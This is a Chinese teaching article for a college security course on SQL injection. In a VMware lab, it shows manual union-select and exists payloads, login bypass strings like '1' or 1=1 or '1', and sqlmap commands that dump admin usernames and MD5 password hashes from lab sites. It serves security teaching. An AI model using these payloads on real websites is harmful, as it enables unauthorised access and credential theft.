文/容湘萍
習(xí)近平總書(shū)記曾多次強(qiáng)調(diào)“沒(méi)有網(wǎng)絡(luò)安全就沒(méi)有國(guó)家安全”。近年來(lái),隨著“斯登諾事件”、“勒索病毒”等一系列網(wǎng)絡(luò)安全事件的出現(xiàn),網(wǎng)絡(luò)安全問(wèn)題備受關(guān)注。2017年6月我國(guó)首部《網(wǎng)絡(luò)安全法》由第十二屆全國(guó)人民代表大會(huì)常務(wù)委員會(huì)通過(guò)并正式實(shí)施;2018年3月,根據(jù)中共中央印發(fā)了《深化黨和國(guó)家機(jī)構(gòu)改革方案》,將中央網(wǎng)絡(luò)安全和信息化領(lǐng)導(dǎo)小組改為中國(guó)共產(chǎn)黨中央網(wǎng)絡(luò)安全和信息化委員會(huì),從“小組”改為“委員會(huì)”,即是升格,更是升華。計(jì)算機(jī)網(wǎng)絡(luò)安全在我國(guó)被推到一個(gè)前所未有的高度。
目前,各種Web系統(tǒng)中存儲(chǔ)了大量重要數(shù)據(jù),所以針對(duì)Web應(yīng)用的攻擊也層出不窮。通常來(lái)講,攻擊一個(gè)Web網(wǎng)站,首先要判斷網(wǎng)站使用的腳本語(yǔ)言和數(shù)據(jù)庫(kù)類(lèi)型,然后尋找有漏洞的網(wǎng)頁(yè),再通過(guò)這個(gè)網(wǎng)頁(yè)得到數(shù)據(jù)表名、字段名、用戶(hù)名和密碼,再尋找后臺(tái)地址登錄,并獲得網(wǎng)站管理權(quán)限,接著上傳針對(duì)網(wǎng)站的木馬,通過(guò)提權(quán),進(jìn)而獲得網(wǎng)站所在服務(wù)器的系統(tǒng)權(quán)限,最后,就留設(shè)后門(mén),并清除日志,如圖1所示。
漏洞是指信息系統(tǒng)中存在的缺陷或不適當(dāng)?shù)呐渲谩D壳埃R?jiàn)的漏洞主要有SQL注入漏洞、XSS跨站腳本漏洞、文件上傳漏洞、命令執(zhí)行漏洞、緩沖區(qū)溢出漏洞和ARP協(xié)議漏洞等,其中,SQL注入漏洞、XSS跨站腳本漏洞、文件上傳漏洞、命令執(zhí)行漏洞屬于Web漏洞。
Kali_Linux是一個(gè)基于Debian內(nèi)核開(kāi)發(fā)的用于安全測(cè)試的操作系統(tǒng),內(nèi)部集成了600多種滲透測(cè)試工具,幾乎涵蓋了滲透測(cè)試步驟中所需要使用的幾乎全部工具,可以方便、高效的模擬惡意Hack對(duì)Web平臺(tái)進(jìn)行測(cè)試。
Kali_Linux的滲透測(cè)試過(guò)程可以被切分成若干步驟,具體包括:收集信息、漏洞掃描、漏洞利用、權(quán)限提升、訪(fǎng)問(wèn)維持和消除痕跡等六個(gè)步驟,如圖2所示。
SQL注入漏洞(SQL injection)是Web層面最高危的漏洞之一,曾連續(xù)3年在OWASP年度十大漏洞中排名第一。
SQL注入的核心思想是是黑客利用了正常的網(wǎng)站數(shù)據(jù)庫(kù)查詢(xún)URL,并在該URL后面構(gòu)造了一段數(shù)據(jù)庫(kù)查詢(xún)代碼,然后根據(jù)返回的結(jié)果,分析出某些想得到的信息。
從學(xué)習(xí)者的角度出發(fā),SQL注入的學(xué)習(xí)過(guò)程大致可以分為三個(gè)步驟,首先是掌握手工注入的步驟,初步掌握SQL注入的方法和原理,其次,通過(guò)對(duì)密碼繞過(guò)漏洞的分析,深入掌握SQL語(yǔ)句的使用技巧,最后,使用sqlmap工具進(jìn)行自動(dòng)化的SQL注入,提高滲透測(cè)試的效率。
為滿(mǎn)足多樣化的實(shí)驗(yàn)要求,測(cè)試環(huán)境使用VMware虛擬機(jī)搭建,攻擊主機(jī)選擇使用Kali_Linux,被攻擊主機(jī)需配置多種實(shí)驗(yàn)環(huán)境,包括“ASP+ACCESS組合”和“Nginx+PHP+MYSQL組合”,平臺(tái)上還需配置滿(mǎn)足實(shí)驗(yàn)要求的網(wǎng)站,本文的平臺(tái)配置如表1所示。
被攻擊主機(jī)采用常用的Windows Server平臺(tái),按照表1中的配置信息分別完成測(cè)試環(huán)境的搭建。因篇幅所限,以下案例僅演示部分實(shí)驗(yàn),包括實(shí)驗(yàn)序號(hào)1、3、5。

圖1:Web滲透的典型流程

圖2:Kali_Linux滲透測(cè)試流程
步驟一:判斷注入點(diǎn)。
(1)首先在攻擊主機(jī)上,通過(guò)瀏覽器打開(kāi)被攻擊主機(jī)上的“南方數(shù)據(jù)2.0”網(wǎng)站。然后在網(wǎng)站中查找存在參數(shù)傳遞的頁(yè)面。
(2)使用editplus分析shownews.asp文件。查看第2行“<%owen=request(“id”)%>”和第31行“sql=”select * from news where id =”&owen”,說(shuō)明id參數(shù)會(huì)由sql語(yǔ)句帶入數(shù)據(jù)庫(kù)進(jìn)行查詢(xún),存在注入點(diǎn)。
(3)瀏覽器中的URL“http://192.168.1.1/shownews.asp?id=5”在網(wǎng)站后臺(tái)轉(zhuǎn)化為SQL語(yǔ)句“select * from news where id=5”。
(4)使用兩行測(cè)試語(yǔ)句測(cè)試該網(wǎng)頁(yè)是否為注入點(diǎn)。分別將瀏覽器的URL改為“http://192.168.1.1/shownews.asp?id=5 and 1=1”和“http://192.168.1.1/shownews.asp?id=5 and 1=2”,后臺(tái)執(zhí)行的SQL語(yǔ)句相應(yīng)為“select * from news where id=5 and 1=1”和“select * from news where id=5 and 1=2”。當(dāng)URL后面被添加“and 1=2”時(shí),頁(yè)面無(wú)法顯示,如圖3所示,表示該SQL語(yǔ)句存在注入點(diǎn)。

表1:實(shí)驗(yàn)平臺(tái)配置信息
步驟二:猜解表名。
(1)常見(jiàn)表名為:admin、user、adminuser、manage、manager、manage_user等,使用exists函數(shù)分別將常見(jiàn)表名依次帶入數(shù)據(jù)庫(kù)測(cè)試。
(2)將瀏覽器的URL改為“http://192.168.1.1/shownews.asp?id=5 and exists (select * from manage_user)”,經(jīng)測(cè)試,只有當(dāng)表名為“manage_user”時(shí),網(wǎng)頁(yè)才能夠正常顯示。
步驟三:猜解字段名。
(1)常見(jiàn)的賬號(hào)字段名為:name、username、user_name、admin、adminuser、admin_user admin_username、adminname。常見(jiàn)的密碼字段名為:password、pass、userpass、user_pass pwd、userpwd、adminpwd、admin_pwd。使用exists函數(shù)和已經(jīng)猜出的表名分別將常見(jiàn)字段名依次帶入數(shù)據(jù)庫(kù)測(cè)試。
(2)將瀏覽器的URL改為“http://192.168.1.1/shownews.asp?id=5 and exists (select username from manage_user)”,經(jīng)測(cè)試,只有當(dāng)字段名為“username”和“password”時(shí),網(wǎng)頁(yè)才能夠正常顯示。
步驟四:猜解字段數(shù)量。
猜解表中的字段數(shù)量。將瀏覽器的URL改 為“http://192.168.1.1/shownews.asp?id=5 order by 11”,當(dāng)數(shù)字為12時(shí),網(wǎng)頁(yè)不能正常顯示,當(dāng)數(shù)字為11時(shí),網(wǎng)頁(yè)能夠正常顯示。所以,表中的字段數(shù)量為11。
步驟五:爆出字段內(nèi)容。
(1)猜解表中的哪幾個(gè)字段的內(nèi)容在頁(yè)面上顯示。
將瀏覽器的URL改為“http://192.168.1.1/shownews.asp?id=5 union select 1,2,3,4,5,6,7,8,9,10,11 from manage_user”,通過(guò)聯(lián)合查詢(xún)得知表中“2,3,8,9,10”字段的內(nèi)容能夠顯示在頁(yè)面上,如圖4所示。
(2)在網(wǎng)頁(yè)上顯示用戶(hù)名和密碼字段的內(nèi)容。
將瀏覽器的URL改為“http://192.168.1.1/shownews.asp?id=5 union select 1,username,pass word,4,5,6,7,8,9,10,11 from manage_user”,將表中的用戶(hù)名和密碼顯示在網(wǎng)頁(yè)上,如圖5所示,分別為“admin”和“3acdbb255b45d296”。密碼采用MD5加密,解密后,密碼為“0791idc”。
步驟六:尋找后臺(tái)管理入口。
輸 入U(xiǎn)RL“http://192.168.1.1/admin/Login.asp”,打開(kāi)后臺(tái)頁(yè)面。輸入用戶(hù)名和破解出來(lái)的密碼,可以登錄網(wǎng)站的后臺(tái)。
步驟一:繞過(guò)語(yǔ)句
常用的密碼繞過(guò)語(yǔ)句有“1' or 1=1 or '1”和“'or'='or'”。
將繞過(guò)語(yǔ)句代入到查詢(xún)語(yǔ)句中:
a、select * from admin where username = ‘1' or 1=1 or '1' and password='$mpassword‘
b、select * from admin where username = ‘ ’ or ‘=‘ or ‘ ' and password='$mpassword‘
步驟二:邏輯運(yùn)算表達(dá)式
查詢(xún)語(yǔ)句中,where語(yǔ)句的條件用邏輯運(yùn)算符表示:
a、假 or 真 or 真 and 假
b、假 or 真 or 假
由于在邏輯表達(dá)式中,and的優(yōu)先級(jí)高于or,所以a和b表達(dá)式的值都為“真”。
步驟三:將繞過(guò)語(yǔ)句填入政府網(wǎng)站的后臺(tái)
將“1' or 1=1 or '1”繞過(guò)語(yǔ)句填入“NPMserv”中政府網(wǎng)站的后臺(tái)管理入口,直接進(jìn)入了網(wǎng)站的后臺(tái)頁(yè)面。
步驟四:將繞過(guò)語(yǔ)句填入“校無(wú)憂(yōu)學(xué)校網(wǎng)站系統(tǒng)”的后臺(tái)。
將“1' or 1=1 or '1”繞過(guò)語(yǔ)句填入“校無(wú)憂(yōu)學(xué)校網(wǎng)站系統(tǒng)”的后臺(tái)管理入口,直接進(jìn)入了網(wǎng)站的后臺(tái)頁(yè)面。
步驟一:首先在攻擊主機(jī)上,通過(guò)瀏覽器打開(kāi)被攻擊主機(jī)上的“政府”網(wǎng)站。然后在網(wǎng)站中查找存在參數(shù)傳遞的頁(yè)面。
步驟二:在攻擊主機(jī)的Terminal上通過(guò)“sqlmap -u”命令檢測(cè)該路徑是否是注入點(diǎn),具體命令為“sqlmap -u “http://192.168.1.2/shownews.asp?id=5””。
步驟三:爆出數(shù)據(jù)庫(kù)里的表,查詢(xún)參數(shù)為“--table”,查詢(xún)結(jié)果為“user、book、download、email、job、links、main、manage_user、news、product、vote”。
步驟四:爆出“manage_user”表中的字段,查詢(xún)參數(shù)為“--columns -T “manage_user””,查詢(xún)結(jié)果為“user、content、id、password、title、username”。
步驟五:爆出“username” 和“password”字段的值,查詢(xún)參數(shù)為“--dump -C “username,password” -T “manage_user””,根據(jù)查詢(xún)結(jié)果顯示,用戶(hù)名為“admin”,密碼為“3acdbb255b45d296”,密碼已經(jīng)通過(guò)MD5加密。

圖3:顯示不正常的頁(yè)面

圖4:測(cè)試可顯示的字段

圖5:在網(wǎng)頁(yè)上顯示用戶(hù)名和密碼
步驟一:首先在攻擊主機(jī)上,通過(guò)瀏覽器打開(kāi)被攻擊主機(jī)上的“政府”網(wǎng)站。然后,通過(guò)查找id值的方法,在網(wǎng)站中查找存在參數(shù)傳遞的頁(yè)面。
步驟二:在攻擊主機(jī)上通過(guò)“sqlmap -u”命令檢測(cè)該路徑是否是注入點(diǎn)。
經(jīng)過(guò)數(shù)據(jù)庫(kù)檢測(cè)和安全級(jí)別檢測(cè)后,檢測(cè)出“info_id”這個(gè)字段是可注入的,檢測(cè)結(jié)果顯示,注入類(lèi)型是“盲注”,服務(wù)器信息是“PHP+MYSQL”。
步驟三:檢測(cè)網(wǎng)站包含的數(shù)據(jù)庫(kù),查詢(xún)參數(shù)是“--dbs”,查詢(xún)結(jié)果為“blog、govcn、information_schema、mysql”。
步驟四:查詢(xún)當(dāng)前正在使用的數(shù)據(jù)庫(kù),查詢(xún)參數(shù)為“--current-db”,查詢(xún)結(jié)果為“govcn”。
步驟五:查詢(xún)當(dāng)前數(shù)據(jù)庫(kù)的用戶(hù),查詢(xún)參數(shù)為“--current-user”,查詢(xún)結(jié)果為“root@localhos”。
步驟六:檢測(cè)當(dāng)前用戶(hù)是否是數(shù)據(jù)庫(kù)管理員,查詢(xún)參數(shù)為“--is-dba”,查詢(xún)結(jié)果為“True”。
步驟七:爆出數(shù)據(jù)庫(kù)里的表,查詢(xún)參數(shù)為“--table -D“govcn””,查詢(xún)結(jié)果為“admin、index_dy、index_info、index_intro、jgsz、ldjj”。
步驟八:爆出數(shù)據(jù)庫(kù)中表的字段,查詢(xún)參數(shù)為“--columns -T “admin” -D “govcn””,使用通用的字段名字典文件進(jìn)行拆解,查詢(xún)結(jié)果為“password、username”。
步驟九:爆出表中字段的內(nèi)容,查詢(xún)參 數(shù) 為-dump -C “username,password” -T “admin” -D “govcn””,根據(jù)查詢(xún)結(jié)果顯示,用戶(hù)名為“admin”,密碼為“21232f297a5a743894a0e4a801fc3”,密碼已經(jīng)通過(guò)MD5加密。
高職院校的網(wǎng)絡(luò)安全課程是大多數(shù)計(jì)算機(jī)專(zhuān)業(yè)學(xué)生的專(zhuān)業(yè)必修課,該課程的主要作用是幫助學(xué)生深入了解網(wǎng)絡(luò)安全知識(shí),掌握網(wǎng)絡(luò)安全的防范技能。本文主要講解了手工SQL注入和軟件SQL注入兩種方法,并分別針對(duì)“ASP+ACCESS”和“Nginx+PHP+MYSQL”兩種WEB平臺(tái)中的三個(gè)不同網(wǎng)站進(jìn)行了滲透測(cè)試實(shí)驗(yàn),較為全面的實(shí)現(xiàn)了SQL注入攻擊的主要教學(xué)內(nèi)容。網(wǎng)絡(luò)安全課程的教學(xué)比較容易受實(shí)訓(xùn)平臺(tái)的影響,隨著課程的不斷深入,實(shí)訓(xùn)平臺(tái)的運(yùn)維要求也會(huì)越來(lái)越高,下一步需解決的問(wèn)題是需建立一體化的虛擬仿真實(shí)訓(xùn)環(huán)境,簡(jiǎn)化平臺(tái)運(yùn)維的復(fù)雜度。